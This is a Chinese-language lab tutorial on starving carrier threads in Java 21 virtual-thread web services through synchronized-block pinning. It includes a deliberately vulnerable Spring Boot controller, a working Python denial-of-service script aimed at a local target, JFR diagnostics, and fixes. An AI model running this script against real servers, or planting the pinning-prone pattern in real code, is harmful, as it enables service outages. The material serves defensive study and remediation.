虚拟线程 Pinning 的 Java Web 服务载体线程饥饿攻击
Pinning 状态下的 Thread.sleep、Object.wait、阻塞式 IO 走的是普通平台线程阻塞分支,载体线程在 FJP 的视角里仍然处于 RUNNING 状态,只是在执行一个很慢的任务。FJP 不会为一个看起来"还在跑"的任务开新载体
一、虚拟线程调度模型与 Pinning 的形成条件
JDK 21 通过 JEP 444 将虚拟线程(Virtual Thread)正式落地。每一个虚拟线程不直接拥有操作系统线程,而是由 JVM 调度器在一组载体线程(Carrier Thread)上挂载与卸载。载体线程本身是平台线程,由一个专用的 ForkJoinPool 持有,该池在 java.lang.VirtualThread 中静态创建:
private static final ForkJoinPool DEFAULT_SCHEDULER = createDefaultScheduler();调度器的目标并行度由系统属性 jdk.virtualThreadScheduler.parallelism 决定,默认值等于 Runtime.getRuntime().availableProcessors();池规模上界由 jdk.virtualThreadScheduler.maxPoolSize 决定,默认值为 256。二者之间通过 ForkJoinPool.tryCompensate 在某个载体被"已知阻塞"时临时增补新载体。
虚拟线程的挂载与卸载依赖 Continuation.yield。当一个虚拟线程在某个可中断阻塞点(LockSupport.park、Selector.select、SocketChannel.read 等 JDK 已经为虚拟线程重写过的原语)阻塞时,运行时调用 Continuation.yield 将栈快照保存到堆并释放载体;待事件就绪后由调度器把它重新挂载到任意空闲载体。
Pinning 指虚拟线程因栈帧中存在无法卸载的结构而无法 yield 的状态。在 JDK 21 中,触发 Pinning 的两条主要路径是:
- 虚拟线程位于一个
synchronized方法或代码块的临界区内部;- 虚拟线程栈帧中存在原生方法(JNI /
Foreign Function)调用。
进入 Pinning 后,若该虚拟线程再次执行原本会触发 yield 的阻塞操作(Thread.sleep、Object.wait、阻塞式 InputStream.read 等),运行时无法把它从载体上卸下,于是该载体线程被真实地阻塞在操作系统层面,直到阻塞结束。
在 JDK 21 中,虚拟线程等待进入一个已被占用的 synchronized 监视器这一动作本身也会 Pinning。也就是说,即使临界区内部代码极短,只要存在监视器竞争,所有排队等待者会把各自的载体一并钉住。
二、载体线程池容量的真实上界
为什么载体被钉住后调度器不会自动补偿:
DEFAULT_SCHEDULER 是一个特殊配置的 ForkJoinPool,其补偿机制 tryCompensate 仅在两种情况下被触发:
- 当前任务显式调用
ForkJoinPool.managedBlock(ManagedBlocker);- JDK 内部的虚拟线程卸载路径(
VirtualThread.parkNanos等)在准备 yield 时主动通知调度器。
Pinning 状态下的 Thread.sleep、Object.wait、阻塞式 IO 走的是普通平台线程阻塞分支,载体线程在 FJP 的视角里仍然处于 RUNNING 状态,只是在执行一个很慢的任务。FJP 不会为一个看起来"还在跑"的任务开新载体。
当并发的 Pinning 阻塞数达到 parallelism 时,整个虚拟线程调度器进入饥饿状态:新到达的虚拟线程必须排队等待已有载体释放,即便 maxPoolSize 还有 200 多个名额可用。
这就是攻击得以成立的根本机制。默认配置下,攻击者只需要约 availableProcessors() 量级的长连接,就能让一台多核服务器的 HTTP 处理彻底停摆。CPU 与带宽都接近 0,但服务不再响应任何请求。
三、靶机搭建
3.1 依赖安装与版本校验
sudo apt update
sudo apt install -y openjdk-21-jdk maven java -version
mvn -version
3.2 工程结构

3.3 pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.3.4</version>
<relativePath/>
</parent>
<groupId>com.example</groupId>
<artifactId>pinning-demo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<properties>
<java.version>21</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
3.4 application.yml
spring:
threads:
virtual:
enabled: true
server:
port: 8080spring.threads.virtual.enabled=true 让 Spring Boot 把 Tomcat 的请求处理 Executor 换成 VirtualThreadTaskExecutor,每个 HTTP 请求由一个独立的虚拟线程承载。
3.5 入口类与控制器
src/main/java/com/example/pinning/PinningApplication.java
package com.example.pinning;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class PinningApplication {
public static void main(String[] args) {
SpringApplication.run(PinningApplication.class, args);
}
}src/main/java/com/example/pinning/VulnController.java
package com.example.pinning;
import java.time.Duration;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class VulnController {
// 64 个分桶锁,放在静态数组中,让 JIT 的逃逸分析无法消除 synchronized;
// 不同 slot 参数会落到不同的锁上,4 条攻击连接可以同时进入临界区。
private static final Object[] LOCKS = new Object[64];
static {
for (int i = 0; i < LOCKS.length; i++) {
LOCKS[i] = new Object();
}
}
@GetMapping("/api/charge")
public String charge(@RequestParam(defaultValue = "30") int seconds,
@RequestParam(defaultValue = "0") int slot)
throws InterruptedException {
Object lock = LOCKS[Math.floorMod(slot, LOCKS.length)];
synchronized (lock) {
// synchronized 临界区内的 Thread.sleep 会触发 Pinning,
// 载体线程被钉在该任务上,整段 sleep 期间不可复用。
Thread.sleep(Duration.ofSeconds(seconds));
}
return "ok-slot-" + slot;
}
@GetMapping("/api/health")
public String health() {
return "alive";
}
}/api/charge 抽象了生产代码中极常见的形态:临界区内调用了一个慢操作。
3.6 构建与启动
java \
-Djdk.virtualThreadScheduler.parallelism=4 \
-Djdk.virtualThreadScheduler.maxPoolSize=256 \
-Djdk.tracePinnedThreads=full \
-jar target/pinning-demo-0.0.1-SNAPSHOT.jar
3.8 基线功能确认
验证靶机两个接口均工作:
curl -i 'http://127.0.0.1:8080/api/health'
time curl -s 'http://127.0.0.1:8080/api/charge?seconds=2&slot=0'
确认 /api/charge?seconds=2 在约 2 秒后正常返回,这是后续衡量攻击效果的基线。
四、攻击实施
创建攻击脚本attack.py:
import socket
import threading
import time
import sys
TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
TARGET_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8080
HOLD_SECONDS = 120
N_CONN = 4 # 与目标 parallelism 相等
def build_charge(slot: int) -> bytes:
return (
f"GET /api/charge?seconds={HOLD_SECONDS}&slot={slot} HTTP/1.1\r\n"
f"Host: {TARGET_HOST}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode()
HEALTH_REQ = (
f"GET /api/health HTTP/1.1\r\n"
f"Host: {TARGET_HOST}\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode()
def hold(slot: int) -> None:
s = socket.create_connection((TARGET_HOST, TARGET_PORT))
s.sendall(build_charge(slot))
# 不读响应;服务端虚拟线程会一直停在 synchronized + Thread.sleep
time.sleep(HOLD_SECONDS + 10)
s.close()
print(f"[*] firing {N_CONN} long-running requests against "
f"{TARGET_HOST}:{TARGET_PORT}")
threads = [threading.Thread(target=hold, args=(i,), daemon=True)
for i in range(N_CONN)]
for t in threads:
t.start()
time.sleep(2) # 让服务端把 N 条虚拟线程都创建好并 Pin 住载体
t0 = time.time()
try:
s = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=20)
s.sendall(HEALTH_REQ)
data = s.recv(4096)
print(f"[+] /api/health responded in {time.time()-t0:.2f}s: "
f"{data[:80]!r}")
except socket.timeout:
print(f"[!] /api/health timed out after {time.time()-t0:.2f}s")
except OSError as e:
print(f"[!] /api/health failed in {time.time()-t0:.2f}s: {e}")
for t in threads:
t.join()运行:
python3 attack.py 127.0.0.1 8080
发起 4 条长连接约 2 秒后,针对 /api/health 的探测请求一直挂起到 20 秒超时;而 /api/health 本身没有任何业务逻辑,不读数据库、不访问外部资源。攻击窗口内,宿主机 CPU 占用接近 0%、网络带宽接近 0,但整个 HTTP 服务停止响应。
4.1 边界值复现
把 N_CONN 改为 3 再跑一次:

仍有一个空闲载体可挂载新虚拟线程,curl http://127.0.0.1:8080/api/health 毫秒级返回。

把 N_CONN 改为 8:
![]()
现象与 4 一致:超过 parallelism 的额外连接只会在 FJP 的等待队列中排队,并不会进一步加剧服务端损耗。
4.2 同时观察多个指标
循环探测健康接口的脚本:
while true; do
TIMEFORMAT=%R
time curl -s -o /dev/null -m 5 http://127.0.0.1:8080/api/health 2>&1
sleep 1
doneN_CONN=3时

N_CONN=4和8时

未攻击时每行约 0.00–0.01 秒;攻击窗口内每行都将达到 5.00 秒,直到 120 秒后攻击结束。
五、服务端 Pinning 的采证
5.1 JFR jdk.VirtualThreadPinned 事件
查看java进程
jps -l启动 JFR 录制
jcmd 195629 JFR.start name=pin filename=/tmp/pin.jfr settings=default
启用 VirtualThreadPinned 事件
jcmd 195629 JFR.set name=pin enabled=true立即触发 Pinning
curl 'http://127.0.0.1:8080/api/charge?seconds=30&slot=0' &
sleep 35 停止录制并写入文件
jcmd 195629 JFR.stop name=pin查看结果
ls -lh /tmp/pin.jfr
jfr print /tmp/pin.jfr | grep -iE "virtual|pin|sleep"

六、修复
6.1 把 synchronized 替换为 ReentrantLock
ReentrantLock.lock() 与 tryLock() 走 AbstractQueuedSynchronizer + LockSupport.park 路径,是 JDK 已经为虚拟线程重写过的协作式阻塞,不会引起 Pinning。等价改写:
import java.util.concurrent.locks.ReentrantLock;
private static final ReentrantLock[] LOCKS = new ReentrantLock[64];
static {
for (int i = 0; i < LOCKS.length; i++) {
LOCKS[i] = new ReentrantLock();
}
}
@GetMapping("/api/charge")
public String charge(@RequestParam(defaultValue = "30") int seconds,
@RequestParam(defaultValue = "0") int slot)
throws InterruptedException {
ReentrantLock lock = LOCKS[Math.floorMod(slot, LOCKS.length)];
lock.lock();
try {
Thread.sleep(Duration.ofSeconds(seconds));
return "ok-slot-" + slot;
} finally {
lock.unlock();
}
}jdk.tracePinnedThreads 不再产生输出;JFR 中 jdk.VirtualThreadPinned 事件归零;JSON 线程转储里 carrier 字段全部为空。
6.2 缩短临界区,把阻塞操作移出 synchronized
当 synchronized 来自第三方库无法直接替换时,最小修改是把慢操作搬到临界区外。以本地缓存为例:
public String fetch(String key) throws Exception {
String cached;
synchronized (cache) {
cached = cache.get(key);
}
if (cached != null) {
return cached;
}
String fresh = slowRemoteCall(key); // 阻塞 IO 放在 synchronized 之外
synchronized (cache) {
cache.putIfAbsent(key, fresh);
return cache.get(key);
}
}synchronized 块内不再有阻塞 IO,Pinning 仅持续微秒级,不足以构成饥饿条件。
6.3 为高 Pinning 风险接口分配独立载体池
Thread.ofVirtual().scheduler(...) 在 JDK 21 的公开 API 中并未暴露 scheduler(Executor) 方法,需要反射访问 jdk.internal.vm.ThreadBuilders 内部能力为虚拟线程指定独立调度器。更工程化、不依赖内部 API 的等价做法,是在 Spring 侧给该接口绑定一个独立的平台线程池:
@Configuration
public class IsolatedExecutorConfig {
@Bean
public AsyncTaskExecutor legacyIoExecutor() {
ThreadPoolTaskExecutor pool = new ThreadPoolTaskExecutor();
pool.setCorePoolSize(64);
pool.setMaxPoolSize(256);
pool.setQueueCapacity(0);
pool.setThreadNamePrefix("legacy-io-");
pool.initialize();
return pool;
}
}让该接口返回 Callable<String> 并配合 @Async("legacyIoExecutor"),或直接 legacyIoExecutor.submit(...) 把请求处理移到该平台线程池。这样含有 synchronized + 阻塞 IO 的遗留代码即便发生阻塞,也只会消耗这个独立池的容量,默认虚拟线程调度器及其上承载的其它业务接口不受影响。